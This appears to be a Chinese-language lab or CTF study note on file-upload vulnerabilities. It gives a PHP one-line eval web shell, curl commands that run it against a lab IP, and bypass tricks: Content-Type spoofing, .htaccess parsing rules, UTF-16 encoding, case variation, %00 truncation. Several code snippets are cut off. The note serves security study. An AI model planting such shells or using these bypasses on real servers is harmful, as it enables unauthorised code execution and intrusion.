文件上传
摘要
文件上传
一句话木马
<?php @eval($_POST['hacker']); ?>
curl -d “hacker=echo get_current_user(); “ http://192.168.149.136:88/images/shell.php
curl -d “hacker=echo getcwd();” http://192.168.149.136:88/images/shell.php
后缀名绕过
黑名单
php30被解析为文本文件。
或者
Burpsuite抓取到的数据包,将Content-Type的类型改为允许上传的类型—> image/jpeg,然后再方放行数据包(forward),显示shell1.php文件上传成功。
.htaccess绕过
概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、 禁止目录列表、配置默认文档等功能
Unix、Linux系统或者是任何版本的Apache Web服务器都是支持.htaccess的,但是有的主机服务商可能不允许你自定义自己的.htaccess
文件。
笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。
第一种:所有文件都会被解析成php代码执行
1 | <IfModule > |
第二种:将jpg文件解析为php代码执行
1 | <FilesMatch "\.jpg"> |
第三种:精确
1 | <FilesMatch "1.png"> |
1 | #define width 1337 |
对<?过滤的绕过姿势
可以用utf-16编码绕过
第一步:
第二步:
新建一个文件,用winhex写入数据即可。
大小写绕过
windows 大小写通用
linux大小写敏感
Windows文件流特性绕过
%00截断绕过
例题:
抓包
成功修改,放行
文件头检测绕过